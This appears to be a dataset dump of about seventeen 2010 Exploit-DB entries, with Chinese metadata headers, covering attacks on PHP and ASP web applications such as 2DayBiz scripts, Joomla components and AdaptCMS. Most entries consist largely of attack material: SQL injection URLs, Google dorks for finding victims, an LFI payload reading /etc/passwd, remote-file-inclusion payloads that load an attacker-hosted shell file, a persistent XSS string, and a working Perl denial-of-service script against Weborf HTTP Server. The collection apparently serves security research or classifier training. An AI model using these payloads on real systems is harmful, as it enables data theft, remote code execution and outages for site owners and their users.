QLWD/code_shield huggingface dataset:
标题: Swoopo Clone 2010 - SQL Injection EDB-ID: 14084 CVE: 2010-4997 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-27 漏洞利用脚本: 1 ########################################## 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Swoopo Clone 2010 SQL Vunerable
Vendor url:http://www.euro-hq.com
Price:50$
Published: 2010-06-27
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

With a huge variety of features and options, at an extremely affordable
price, Swoopo Clone is the ultimate script for starting your highly
profitable online bidding website just like the big boys.Swoopo Clone is
written...

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/index.php?show=product&id=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/14084
标题: i-netsolution Job Search Engine - SQL Injection EDB-ID: 14079 CVE: 2010-2611 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-27 漏洞利用脚本: 1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Vendor Url : http://www.i-netsolution.com/
Google Dork: inurl:/jobsearchengine/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################

Description:
   i Net job search engine script eliminates your worry about searching for an employer. Because our search engine software is an extensive and powerful script written in PHP, thus enabling you to launch your own jobs search portal. It has a potential to fix results from 300 major jobsites in 18 countries & thereby indexing nearly 80,000 jobs per day. This fixed list can be indexed by category, location, positions or relevance. Additionally it can also be utilized as a job site. We provide you with the newest features of major employment sites out there. It also helps the back office for the administrators providing full control over the website, structure and content management, detailed user management, statistics and many more. Our job search script is built with a focus on increased ease for users and webmasters together. Get rid of worrying about your competitors, since fixing 80,000 new pages every day from major employment sites. 


#######################################################################################################

Xploit: SQLi VUlnerability


DEMO URL : http://server/jobsearchengine/show_search_result.php?keyword=[sqli]

###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14079
标题: Joomla! Component jesectionfinder - Local File Inclusion EDB-ID: 14064 CVE: 2010-2680 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-26 漏洞利用脚本: Name : Joomla jesectionfinder LFI Vulnerability
Date : june, 26 2010
Critical Level     : HIGH
Vendor Url : http://joomlaextensions.co.in/component/awd_song/
Google Dork: inurl:/component/jesectionfinder/
Price:$25.00
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
This component for web-based business that specialises in buying and selling sections nationwide. Our aim is easy to connect the seller of

land directly to the buyer, its simple.

Easy to handle that component functionallity.

User can add your section/property into particular listing option. Listing option manages from the backend. User selects his plan (Listing

option) and enters property detail (with images).  After use see that preview and make it payment.  If user makes it payment successfully

than it display automating otherwise his listing not published.
User searches property and contact seller for more detail.


#######################################################################################################
Xploit:jesectionfinder LFI


DEMO URL : http://server/propertyfinder/component/jesectionfinder/?view=[LFI]

########################################################################### URL: https://www.exploit-db.com/exploits/14064
标题: Joomla! Component jesubmit 1.4 - SQL Injection EDB-ID: 14054 CVE: 2010-5022 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-25 漏洞利用脚本: Exploit Title: Joomla JE Story submit SQL Injection
Vendor url:http://joomlaextensions.co.in
Version:1.4
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat, Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:
100% MVC structure follow. User can add your stories in joomla article.

Front end:

User can add stories. Admin and users get mail after user adds the story. Admin approve than show up in front-end. CAPTCHA code feature is available in front end side. User can upload images.

Back end:

Admin can configure the section, category and email address.
For Joomla Version: Joomla 1.5. Login here for free download.
Also admin can select the category and section what ever they want. Select section functionality using Ajax.
Admin email format also user email format setting from back-end. Easy to make or change email format using wysing editor.
Admin can disable and enable the category/section selection option.

Support the Joomla 1.5.


Features:-
- Admin can configure the section, category and email address.
- Easy to make or change email format using wysing editor in the back end.
- User can add story. Admin and users get mail after user adds the story.
- Putting the CAPTCHA code for security.
- User can upload images from front end.
- Admin approve than show up in front-end.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://www.example.com/component/jesubmit/?view=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r # URL: https://www.exploit-db.com/exploits/14054
标题: Joomla! Component JE Awd Song - Persistent Cross-Site Scripting EDB-ID: 14059 CVE: 2010-2613 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-26 漏洞利用脚本: Critical Level     : HIGH
Vendor Url : http://joomlaextensions.co.in/component/awd_song/
Google Dork: inurl:com_awd_song
Price:$37.00
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
  Frontend
There are 4 menus.

   1. (Enter Contest) User can upload a new song.Whenever new songs are uploaded, users will receive an email to rate the new contest songs.
   2. (Winner song) Users can see all of the winning songs from today.
   3. (My Songs) Users can see all of their own songs they have uploaded.
   4. (My Rated Songs) Users can see all of their own ratings for other users songs.


#######################################################################################################
Xploit:persistent xss Vulnerability

The attacker can post evil script or xss shell in the song review option

For example :">><marquee><h1>XSS3d By Sid3^effects</h1><marquee>


 DEMO URL : http://server/index.php?option=com_awd_song&task=view&id=4

############################################################################################################### URL: https://www.exploit-db.com/exploits/14059
标题: Joomla! Component com_sef - Remote File Inclusion EDB-ID: 14055 CVE: 2010-2681 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-26 漏洞利用脚本: ==========================================================
Joomla Component (com_sef) RFI
===========================================================

                                          WWw.HaCkTeacH.oRg/cc
                                                                                         
+===================================================================================+
[?]Joomla Component (com_sef) RFI
+===================================================================================+
    [?] My home:              [http://HaCkTeCh.Org/cc           ]
    [?] For Ask:              [F5w@hotmail.com                   ]
    [?] Script:               [     joomla                ]
    [?] home Script           [ http://www.joomla.com/app             ]
    [?] Language:             [ PHP                              ]
    [?] Founder:              [ Li0n-PaL                         ]
    [?] Gr44tz to:            [ Pal-Li0n - Red-D3v1L - Shadow-D3v1L - All HaCkTeacH CreW ]

===[ Exploit  ]===
http://localhost/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=[shell.txt?]

DeMo ~

http://www.example.com/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=http://[remote-server]/[file]%00


EnJoY o_O

---------------------------------------------------------

./exit URL: https://www.exploit-db.com/exploits/14055
标题: 2DayBiz - Multiple SQL Injections EDB-ID: 14048 CVE: 2010-2691 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-25 漏洞利用脚本: $-------------------------------------------------------------------------------------------------------------------
$ 2daybiz custom T-shirt SQL Injection and Cross Site Scripting
Vulnerabilities
$ Author : Sangteamtham
$ Home : Hcegroup.net
$ Download :http://www.2daybiz.com/customt-shirt_designscript.html
$ Date :06/25/2010
$
$******************************************************************************************
$Exploit:
$
$ 1.SQL injection:
$
$ http://server/products_details.php?sbid=[id number]
$ http://server/products/products.php?pid=[id number]
$ http://server/designview.php?designid=[id number]
$
$
$
$
$******************************************************************************************
$ Greetz to: All Vietnamese hackers and Hackers out there researching for
more security
$
$
$-------------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/14048
标题: 2DayBiz The Web Template Software - SQL Injection / Cross-Site Scripting EDB-ID: 14020 CVE: 2010-2510 2010-2509 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-24 漏洞利用脚本: $-------------------------------------------------------------------------------------------------------------------
$ 2daybiz - The Web Template Software SQL injection and XSS vulnerability
$ Author : Sangteamtham
$ Home : Hcegroup.net
$ Download :http://www.2daybiz.com/webtemplatesoftware.html
$ Date :06/24/2010
$ Email :sangteamtham@gmail.com
$
$******************************************************************************************

1.SQL injection
http://server/customize.php?tid=[id]+[SQL]

2.XSS

2.a : search products module

Here is my header:

http://www.2daytemplates.com/category.php

POST /category.php HTTP/1.1
Host: www.2daytemplates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.4)
Gecko/20100611 Firefox/3.6.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.2daytemplates.com/category.php
Cookie: PHPSESSID=j2bddq540saph1ve83gqii4276
Content-Type: application/x-www-form-urlencoded
Content-Length: 168
category=0&product=0&keyword=[XSS
here]&itemno=ssss&templates_per_page=9&search=Search

2.b: Login module

http://www.2daytemplates.com/memberlogin.php

POST /memberlogin.php HTTP/1.1
Host: www.2daytemplates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.4)
Gecko/20100611 Firefox/3.6.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.2daytemplates.com/memberlogin.php
Cookie: PHPSESSID=j2bddq540saph1ve83gqii4276
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
email=sangteamtham_hce%40ymail.com&password=[XSS Here]opage=&Submit=Login

XSS here such as:
">">

$******************************************************************************************
$Demo:
$ http://<server>/customize.php?tid=1314+and+1=1--
$ http://<server>/customize.php?tid=1314+and+1=0--
$
$
$
$******************************************************************************************
$ Greetz to: All Vietnamese hackers and Hackers out there researching for
more security
$
$
$-------------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/14020
标题: 2DayBiz Video Community Portal - 'user-profile.php' SQL Injection EDB-ID: 14018 CVE: 2010-2508 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-24 漏洞利用脚本: $-------------------------------------------------------------------------------------------------------------------
$ 2daybiz Video Community portal"user-profile.php" SQL injection
$ Author : Sangteamtham
$ Home : Hcegroup.net
$ Download :http://www.2daybiz.com/videocommunity_portalscript.html
$ Date :06/24/2010
$
$******************************************************************************************
$Exploit:
$
$ http://server/user-profile.php?userid=[id number][SQL]
$
$******************************************************************************************
$ Greetz to: All Vietnamese hackers and Hackers out there researching for
more security
$
$
$-------------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/14018
标题: 2DayBiz Job Site Script - SQL Injection EDB-ID: 14025 CVE: 2010-2610 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-24 漏洞利用脚本: $-------------------------------------------------------------------------------------------------------------------
$ 2daybiz Job site Script SQL injection
$ Author : Sangteamtham
$ Home : Hcegroup.net
$ Download :http://www.2daybiz.com/realestate_portalscript.html
$ Date :06/24/2010
$
$******************************************************************************************
$Exploit:
$
$ http://server/view_current_job.php?jid=[id number][SQL]
$ http://server/show_search_more.php?job_iid=[id number][SQL]
$ http://server/show_search_result.php?left_cat=[id number][SQL]
$
$******************************************************************************************
$ Greetz to: All Vietnamese hackers and Hackers out there researching for
more security
$
$
$-------------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/14025
标题: Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion (2) EDB-ID: 14017 CVE: 2010-2682 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-24 漏洞利用脚本: =================================================
Joomla Component com_realtyna LFI vulnerability
=================================================


[!]===========================================================================[!]

[~] Joomla Component com_realtyna LFI vulnerability
[~] Author : MISTERFRIBO
[~] Homepage : http://www.indonesianhacker.or.id
[~] Vendor: http://software.realtyna.com/
[~] Date : 23 june, 2010

[!]===========================================================================[!]

[^] dork : inurl:"joomla"
[!]===========================================================================[!]

[ Vulnerable File ]=-

http://[localhost]/index.php?option=com_realtyna&controller=[FRIBO]

[ XpL ]=-

../../../../../../../../../../../../../../../etc/passwd%00




[!]===========================================================================[!]

[ Thx TO ]=-

[+] Indonesian Hacker Team, Arumbia, IndonesianCoder Team, Kill-9,
Yogyacarderlink, ServerIsDown
[+] tukulesto,Kamtiez,xr0b0t si om
bagus,arianom,N4CK0,Jundab,bobyhikaru,gonzhack,senot,Jack-
[+]
Contrex,YadoY666,bumble_be,MarahMeraH,Suddendeath,r4tu_l364h,IBL13Z,r3m1ck
[+] ELVIN4,Gh4mb4s,vYcOd,ayy,otong,CS-31,yur4kh4,ranggamagic
[+] v3n0m, z0mb13, setanmuda, Jali, Hmei7

[ NOTE ]=-

[+] Mrs.Fribo Jangan Marah Terus Donk. LoVe u saiiank :*
[+] eLv1n4 where are you?
[+] papi karma666 and mami winda, Selamat ya :D


[ Spoiler ]=-

[+] Indonesian Hacker Team Was Here
[+] www.fribo.tv URL: https://www.exploit-db.com/exploits/14017
标题: 2DayBiz MLM Script - SQL Injection EDB-ID: 14005 CVE: 2010-2511 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-23 漏洞利用脚本: # Script url: http://www.2daybiz.com/MLM.html
# Version: N/A
:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit==================



[ EXPL0!T ]

http://server/path/viewnews.php?nwsid=7(SQL)



===========================================================

Greetz to : Alnjm33-virus-pal - Predator-Ahmadso - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ==== URL: https://www.exploit-db.com/exploits/14005
标题: Weborf HTTP Server - Denial of Service EDB-ID: 14012 CVE: 2010-2435 类型: DOS 平台: MULTIPLE 发布日期: 2010-06-24 漏洞利用脚本: [DCA-0012]

[Software]
- Weborf HTTP Server

[Vendor Product Description]
- Weborf is a lightweight Web server written in C. It supports IPv6
and basic authentication. It doesn't implement the full HTTP
specification, but can be used to easily share directories or files.

[Bug Description]
- Weborf HTTP Server can't handle unicode characters in "Connection: "
general header-field leading to a Denial-of-Service flaw

[History]
- Advisory sent to vendor on 06/21/2010.
- Vendor reply 06/22/2010.
- Vendor patch published 06/23/2010


[Impact]
- Low

[Affected Version]
-Weborf 0.12.1
- Prior versions may also be vulnerable.

[Exploit]

#!/usr/bin/perl
use IO::Socket;

       if (@ARGV < 1) {
               usage();
       }

       $ip     = $ARGV[0];
       $port   = $ARGV[1];

       print "[+] Sending request...\n";

       $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
       print $socket "GET / HTTP/1.0\r\n";
       print $socket "Connection: ". "\0x99" x 4 ."\r\n\r\n";

       close($socket);

       print "[+] Done!\n";

sub usage() {
       print "[-] Usage: <". $0 ."> <host> <port>\n";
       print "[-] Example: ". $0 ." 127.0.0.1 80\n";
       exit;
}
---------------------------------------------------------------------------------
-------

DcLabs Security Group
Sponsor: ipax
ipax@dclabs.com.br

[Credits]
Crash and all DcLabs members. URL: https://www.exploit-db.com/exploits/14012
标题: AdaptCMS 2.0.0 Beta - 'init.php' Remote File Inclusion EDB-ID: 14016 CVE: 2010-2618 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-24 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
  AdaptCMS 2.0.0 Beta (init.php) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : June, 24-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : AdaptCMS
Vendor   : http://www.adaptcms.com/
License  : Free
Download : http://sourceforge.net/projects/adaptcms/files/
----------------------------------------------------------------

- register_globals = on
- allow_url_include = on

Vuln Code:
~~~~~~~

[-] /init.php

 require_once($sitepath.'inc/smarty/libs/Smarty.class.php');  // line 10

Poc:
~~~~~~~

http://127.0.0.1/[path]/inc/smarty/libs/init.php?sitepath=http://localhost/jovita.txt??

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/14016
标题: 2DayBiz Matrimonial Script - SQL Injection EDB-ID: 14008 CVE: 2010-2512 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-23 漏洞利用脚本: # Exploit Title:   2daybiz matrimonial script  SQL injection Vulnerability
# Date: 23/06/2010
# Author: JaMbA
# Script url: http://www.2daybiz.com/matrimonial_script.html
# Version: N/A
# Tested on: Windows
# CVE : ()

:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit======
============



[ EXPL0!T ]

 http://server/path/customprofile.php?id=62(SQL)



===========================================================

Greetz to : Alnjm33-virus-pal - Predator-Ahmadso - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ==== URL: https://www.exploit-db.com/exploits/14008
标题: Boat Classifieds - 'printdetail.asp?Id' SQL Injection EDB-ID: 13995 CVE: 2010-2687 类型: WEBAPPS 平台: ASP 发布日期: 2010-06-23 漏洞利用脚本: ##################################################################################################

Boat Classifieds SQL Injection Vulnerability (printdetail.asp?Id)
 
##################################################################################################
 
Author : CoBRa_21

Script Home : http://www.site2nite.com/boat-webdesign.asp

Dork : null

##################################################################################################
 
Sql Injection:

http://localhost/[path]/printdetail.asp?Id=661 and 1=1 

http://localhost/[path]/printdetail.asp?Id=661 and 1=2 

##################################################################################################            
_________________________________________________________________
Yeni Windows 7: Size en uygun bilgisayar? bulun. Daha fazla bilgi edinin.
http://windows.microsoft.com/shop URL: https://www.exploit-db.com/exploits/13995